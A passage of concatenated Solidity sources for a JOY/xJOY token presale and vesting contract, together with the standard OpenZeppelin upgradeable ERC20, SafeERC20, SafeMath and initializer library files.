xGovToken.safeTransfer(_userAddr, _purchasedAmount);
}
}
// Deposit
// coinAmount (decimals: COIN_DECIMALS)
function deposit(uint256 _coinAmount, uint8 coinIndex) external whenSale {
require( totalSaleAmount >= totalSoldAmount, "totalSaleAmount >= totalSoldAmount");
CoinInfo memory coinInfo = coinList[coinIndex];
IERC20Upgradeable coin = IERC20Upgradeable(coinInfo.addr);
// calculate token amount to be transferred
(uint256 tokenAmount, uint256 coinAmount) = calcTokenAmount(_coinAmount, coinIndex);
uint256 availableTokenAmount = totalSaleAmount.sub(totalSoldAmount);
// if the token amount is less than remaining
if (availableTokenAmount < tokenAmount) {
tokenAmount = availableTokenAmount;
(_coinAmount, coinAmount) = calcCoinAmount(availableTokenAmount, coinIndex);
}
// validate purchasing
_preValidatePurchase(_msgSender(), tokenAmount, coinAmount, coinIndex);
// transfer coin and token
coin.safeTransferFrom(_msgSender(), address(this), coinAmount);
xGovToken.safeTransfer(_msgSender(), tokenAmount);
// transfer coin to treasury
if (treasuryAddrs.length != 0) {
coin.safeTransfer(treasuryAddrs[treasuryIndex], coinAmount);
}
// update global state
totalCoinAmount = totalCoinAmount.add(_coinAmount);
totalSoldAmount = totalSoldAmount.add(tokenAmount);
// update purchased token list
UserInfo storage userInfo = userList[_msgSender()];
if (userInfo.depositedAmount == 0) {
userAddrs.push(_msgSender());
userInfo.vestingIndex = 1;
userInfo.firstDepositedTime = block.timestamp;
}
userInfo.depositedAmount = userInfo.depositedAmount.add(_coinAmount);
userInfo.purchasedAmount = userInfo.purchasedAmount.add(tokenAmount);
emit TokensPurchased(_msgSender(), _coinAmount, tokenAmount);
XJoyToken _xJoyToken = XJoyToken(address(xGovToken));
_xJoyToken.addPurchaser(_msgSender());
}
// Withdraw
function withdraw() external whenVesting(_msgSender()) {
uint256 withdrawalAmount = calcWithdrawalAmount(_msgSender());
uint256 govTokenAmount = govToken.balanceOf(address(this));
uint256 xGovTokenAmount = xGovToken.balanceOf(address(_msgSender()));
uint256 withdrawAmount = Math.min(withdrawalAmount, Math.min(govTokenAmount, xGovTokenAmount));
require(withdrawAmount > 0, "No withdraw amount!");
require(xGovToken.allowance(_msgSender(), address(this)) >= withdrawAmount, "withdraw's allowance is low!");
xGovToken.safeTransferFrom(_msgSender(), address(this), withdrawAmount);
govToken.safeTransfer(_msgSender(), withdrawAmount);
UserInfo storage userInfo = userList[_msgSender()];
userInfo.withdrawnAmount = userInfo.withdrawnAmount.add(withdrawAmount);
userInfo.lastWithdrawnTime = block.timestamp;
emit TokensWithdrawed(_msgSender(), withdrawAmount);
}
// Calc token amount by coin amount
function calcWithdrawalAmount(address userAddr) public view returns (uint256) {
require(checkVestingPeriod(userAddr), "This is not vesting period.");
UserInfo memory userInfo = userList[userAddr];
VestingInfo memory vestingInfo = getUserVestingInfo(userAddr);
// uint256 VESTING_START = SALE_START.add(vestingInfo.lockingDuration);
uint256 VESTING_START = userInfo.firstDepositedTime.add(vestingInfo.lockingDuration);
uint256 totalAmount = 0;
if (block.timestamp <= VESTING_START) {
totalAmount = userInfo.purchasedAmount.mul(vestingInfo.initClaimablePercent).div(100);
} else if (block.timestamp >= VESTING_START.add(vestingInfo.vestingDuration)) {
totalAmount = userInfo.purchasedAmount;
} else {
totalAmount = userInfo.purchasedAmount.mul(block.timestamp.sub(VESTING_START)).div(vestingInfo.vestingDuration);
}
uint256 withdrawalAmount = totalAmount.sub(userInfo.withdrawnAmount);
return withdrawalAmount;
}
// Calc token amount by coin amount
function calcTokenAmount(uint256 _coinAmount, uint8 coinIndex) public view returns (uint256, uint256) {
require( coinList.length > coinIndex, "coinList.length > coinIndex");
CoinInfo memory coinInfo = coinList[coinIndex];
ERC20Upgradeable coin = ERC20Upgradeable(coinInfo.addr);
uint256 rate = coinInfo.rate;
uint tokenDecimal = ERC20Upgradeable(address(xGovToken)).decimals() + coin.decimals() - COIN_DECIMALS;
uint256 tokenAmount = _coinAmount
.mul(10**tokenDecimal)
.div(rate);
uint coinDecimal = COIN_DECIMALS - coin.decimals();
uint256 coinAmount = _coinAmount
.div(10**coinDecimal);
return (tokenAmount, coinAmount);
}
// Calc coin amount by token amount
function calcCoinAmount(uint256 _tokenAmount, uint8 coinIndex) public view returns (uint256, uint256) {
require( coinList.length > coinIndex, "coinList.length > coinIndex");
CoinInfo memory coinInfo = coinList[coinIndex];
ERC20Upgradeable coin = ERC20Upgradeable(coinInfo.addr);
uint256 rate = coinInfo.rate;
uint _coinDecimal = ERC20Upgradeable(address(xGovToken)).decimals() + coin.decimals() - COIN_DECIMALS;
uint256 _coinAmount = _tokenAmount
.div(10**_coinDecimal)
.mul(rate);
uint coinDecimal = COIN_DECIMALS - coin.decimals();
uint256 coinAmount = _coinAmount
.div(10**coinDecimal);
return (_coinAmount, coinAmount);
}
// Calc max coin amount to be deposit
function calcMaxCoinAmountToBeDeposit(uint8 coinIndex) public view returns (uint256) {
uint256 availableTokenAmount = totalSaleAmount.sub(totalSoldAmount);
(uint256 _coinAmount,) = calcCoinAmount(availableTokenAmount, coinIndex);
return _coinAmount;
}
// Withdraw all coins by owner
function withdrawAllCoins(address treasury) public onlyOwner {
for (uint i=0; i<coinList.length; i++) {
CoinInfo memory coinInfo = coinList[i];
IERC20Upgradeable _coin = IERC20Upgradeable(coinInfo.addr);
uint256 coinAmount = _coin.balanceOf(address(this));
_coin.safeTransfer(treasury, coinAmount);
}
}
// Withdraw all xJOY by owner
function withdrawAllxGovTokens(address treasury) public onlyOwner {
uint256 tokenAmount = xGovToken.balanceOf(address(this));
xGovToken.safeTransfer(treasury, tokenAmount);
}
// Withdraw all $JOY by owner
function withdrawAllGovTokens(address treasury) public onlyOwner {
uint256 tokenAmount = govToken.balanceOf(address(this));
govToken.safeTransfer(treasury, tokenAmount);
}
////////////////////////////////////////////////////////////////////////
// Internal functions
////////////////////////////////////////////////////////////////////////
// Validate purchase
function _preValidatePurchase(address purchaser, uint256 tokenAmount, uint256 coinAmount, uint8 coinIndex) internal view {
require( coinList.length > coinIndex, "coinList.length > coinIndex");
CoinInfo memory coinInfo = coinList[coinIndex];
IERC20Upgradeable coin = IERC20Upgradeable(coinInfo.addr);
require(purchaser != address(0), "Purchaser is the zero address");
require(coinAmount != 0, "Coin amount is 0");
require(tokenAmount != 0, "Token amount is 0");
require(xGovToken.balanceOf(address(this)) >= tokenAmount, "$xJoyToken amount is lack!");
require(coin.balanceOf(msg.sender) >= coinAmount, "Purchaser's coin amount is lack!");
require(coin.allowance(msg.sender, address(this)) >= coinAmount, "Purchaser's allowance is low!");
this;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow.
return (a & b) + (a ^ b) / 2;
}
/**
* @dev Returns the ceiling of the division of two numbers.
*
* This differs from standard division with `/` in that it rounds up instead
* of rounding down.
*/
function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b - 1) / b can overflow on addition, so we distribute.
return a / b + (a % b == 0 ? 0 : 1);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC20Upgradeable.sol";
import "./extensions/IERC20MetadataUpgradeable.sol";
import "../../utils/ContextUpgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable, IERC20MetadataUpgradeable {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
function __ERC20_init(string memory name_, string memory symbol_) internal initializer {
__Context_init_unchained();
__ERC20_init_unchained(name_, symbol_);
}
function __ERC20_init_unchained(string memory name_, string memory symbol_) internal initializer {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
uint256[45] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20Upgradeable.sol";
import "../../../utils/AddressUpgradeable.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20Upgradeable {
using AddressUpgradeable for address;
function safeTransfer(
IERC20Upgradeable token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20Upgradeable token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20Upgradeable token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20Upgradeable token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20Upgradeable token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMathUpgradeable {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
contract AuthorizableU is OwnableUpgradeable {
////////////////////////////////////////////////////////////////////////
// State variables
////////////////////////////////////////////////////////////////////////
mapping(address => bool) public isAuthorized;
////////////////////////////////////////////////////////////////////////
// Events & Modifiers
////////////////////////////////////////////////////////////////////////
event AddedAuthorized(address _user);
event RemovedAuthorized(address _user);
modifier onlyAuthorized() {
require(isAuthorized[msg.sender] || owner() == msg.sender, "caller is not authorized");
_;
}
////////////////////////////////////////////////////////////////////////
// Initialization functions
////////////////////////////////////////////////////////////////////////
function __Authorizable_init() internal virtual initializer {
__Ownable_init();
}
////////////////////////////////////////////////////////////////////////
// External functions
////////////////////////////////////////////////////////////////////////
function addAuthorized(address _toAdd) public onlyOwner {
isAuthorized[_toAdd] = true;
emit AddedAuthorized(_toAdd);
}
function removeAuthorized(address _toRemove) public onlyOwner {
require(_toRemove != msg.sender);
isAuthorized[_toRemove] = false;
emit RemovedAuthorized(_toRemove);
}
////////////////////////////////////////////////////////////////////////
// Internal functions
////////////////////////////////////////////////////////////////////////
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
import "@openzeppelin/contracts-upgradeable/token/ERC20/utils/SafeERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/math/SafeMathUpgradeable.sol";
import "./BlackListToken.sol";
contract XJoyToken is BlackListToken {
using SafeMathUpgradeable for uint256;
using SafeERC20Upgradeable for IERC20Upgradeable;
////////////////////////////////////////////////////////////////////////
// State variables
////////////////////////////////////////////////////////////////////////
uint256 public manualMinted;
////////////////////////////////////////////////////////////////////////
// Events & Modifiers
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
// Initialization functions
////////////////////////////////////////////////////////////////////////
function initialize(
string memory name,
string memory symbol,
uint256 initialSupply
) public virtual initializer {
__ERC20_init(name, symbol);
__BlackList_init();
_mint(_msgSender(), initialSupply);
addAuthorized(_msgSender());
manualMinted = 0;
}
////////////////////////////////////////////////////////////////////////
// External functions
////////////////////////////////////////////////////////////////////////
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
}
function burn(address _from, uint256 _amount) public onlyOwner {
_burn(_from, _amount);
}
function manualMint(address _to, uint256 _amount) public onlyAuthorized {
_mint(_to, _amount);
manualMinted = manualMinted.add(_amount);
}
// add purchaser
function addPurchaser(address addr) public onlyAuthorized {
addBlackList(addr);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20Upgradeable.sol";
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20MetadataUpgradeable is IERC20Upgradeable {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
